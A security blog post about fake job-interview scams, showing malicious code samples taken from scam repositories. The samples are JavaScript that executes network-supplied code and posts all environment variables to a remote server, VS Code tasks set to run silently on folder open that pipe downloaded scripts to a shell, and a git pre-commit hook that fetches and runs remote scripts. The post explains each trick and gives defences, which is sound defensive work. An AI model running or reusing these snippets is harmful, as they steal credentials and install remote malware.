Tricks of the job interview scam
You may have already encountered this scam. Somebody contacts you, typically through LinkedIn ↗, with a programming job offer that is good, but not too good to be true. A salary a bit above normal, remote work, etc. They might claim to come from a legitimate company, or their bio links to a website that was generated by AI and looks good.
At some point, they ask you to download a repository and run it. Maybe they want to test your software development skills. Maybe they want to show you what they are working on. Run it on your main computer, and they can steal your private key, insert themselves into your legitimate software repository, etc. This scam is successful because it pretends to be something all of us legitimately want at some point in our careers, and testing candidates and showing your source code are common in our industry.
In this article we will discuss some of the tricks they use, as well as some defense mechanisms that would let you distinguish between legitimate repositories and malware.
Sample tricks
Here are a few tricks from the last few times they tried to scam me. This list is definitely not exhaustive, but it should be enough to convince you that the danger is real.
Remote execution
This trick is extremely simple, receive code from the network and execute it. In a JavaScript or TypeScript repository, you might see code similar to this:
async function validateApiKey() { verify(setApiKey(process.env.AUTH_API)) .then((response) => { const executor = new Function("require", response.data); executor(require); console.log("API Key verified successfully."); return true; }) .catch((err) => { console.log("API Key verification failed:", err); return false; });}We don’t know what verify does, but we do know it generates a Promise ↗ that could resolve to a response.
Next this function creates a new Function object ↗. Function objects are used to execute JavaScript provided to the program as a string. For example, this code snippet creates and then executes a function that adds one to a value. You can run it in the Node.js CLI ↗ to see it in action.
code = "return a+1"addOne = new Function("a", code)addOne(10)Passing the require ↗ function as a parameter makes it easy for the function written in response.data to import libraries. For example, fs ↗ lets an attacker read and modify files on your computer.
We can trace the flow further to see whether response.data actually comes from a dangerous source, but given that there are very few legitimate reasons to use Function, this is probably enough to convince us not to run the code in this repository.
Sharing environment variables
The same repository includes this function:
const verify = (api) => axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } });The variable process.env ↗ includes all your environment variables, which may include authentication tokens. axios ↗ is a library used for HTTP(S) requests, so the program very “nicely” shares your environment with a remote server.
Editor tasks
Many of us use Microsoft Visual Studio ↗. It’s a good editor. However, if your security settings are not configured properly, the editor automatically runs tasks defined in .vscode/tasks.json. Here are some ways this can be abused.
{ "label": "install-root-modules", "type": "shell", "command": "npm install --silent --no-progress", "options": { "cwd": "${workspaceFolder}" }, "windows": { "options": { "shell": { "executable": "cmd.exe", "args": ["/c"] } } },... "runOptions": { "runOn": "folderOpen" }, "presentation": { "reveal": "silent", "echo": false, "focus": false, "panel": "new", "showReuseMessage": false, "clear": true }},This JSON code tells the editor to automatically install the NPM packages in package.json when you open the folder. This may be legitimate; you need those packages to run the program. But when this happens silently, as it does here, that is suspicious.
Here is another task from the same place:
{ "label": "env", "type": "shell", "linux": { <a bunch of tabs> "command": "wget -qO- 'https://json-setting511.vercel.app/api/settings/linux' | sh" }, . . . "problemMatcher": [], "presentation": { "reveal": "silent", "echo": false, "focus": false, "close": true, "panel": "new", "showReuseMessage": false, "clear": true }, "runOptions": { "runOn": "folderOpen" }}This is a remote execution task, which reads https://json-setting511.vercel.app/api/settings/linux and then executes it, again silently.
Another interesting trick used here is that the definition of command is preceded by a lot of whitespace (tabs or spaces). This means that on some editors, such as nano ↗ running in the default configuration, it is hard to see. The lines continue past the terminal width, but you only see this with a small > on the right of the window, which many people would miss.

Hiding in configuration files
Some configuration files and directories include hooks. For example, this file is the .git/hooks/pre-commit on a scam repository:
#!/bin/sh# Custom curl command for pre-commit hook
case "$OSTYPE" in darwin*) curl -s 'https://chvsvr.short.gy/hgMoMq7m' -L | sh > /dev/null 2>&1 &;; linux*) wget -qO- 'https://chvsvr.short.gy/hgMoMq7l' -L | sh > /dev/null 2>&1 &;; msys*) curl -s https://chvsvr.short.gy/hgMoMq7w -L | cmd > /dev/null 2>&1 &;; cygwin*) curl -s https://chvsvr.short.gy/hgMoMq7w -L | cmd > /dev/null 2>&1 &;; *) curl -s 'https://chvsvr.short.gy/hgMoMq7m' -L | sh > /dev/null 2>&1 &;;esacEvery time you commit to this repository, it also downloads and runs a script.
Defending yourself
The simplest solution is to refuse to run any repository that comes from a potential employer. Considering the popularity of this scam, I doubt honest employers will have a problem with it. However, there are a few other things you can do to secure yourself if you really do need to look at code from a suspicious source.
Sandbox in the clouds
You go to a cloud provider (the major ones are AWS ↗, Azure ↗, and GCP ↗) and get a virtual machine, typically for cents per hour. If you don’t put anything secret on that VM, there is nothing for the bad guys to steal.
Code in a subdirectory
If you want to open the code in Visual Studio, do not open it directly, as it could run the scripts in .vscode. Instead, open a higher-level directory, such as your home directory.
AI for the rescue
If you use an IDE with an AI, such as Co-pilot, you can use a prompt similar to this:
Review the material in the
\\wsl.localhost\Ubuntu\home\evildirectory, without running anything in it, and find as many tricks that can be used against the device running it as possible.
Conclusion
This is an ongoing arms race between the bad guys looking for ways to steal and us, the good guys, trying to defend ourselves. Modern applications are complex enough that their source code can always contain hidden attacks, so it always makes sense to use automated tools to review code from insecure sources.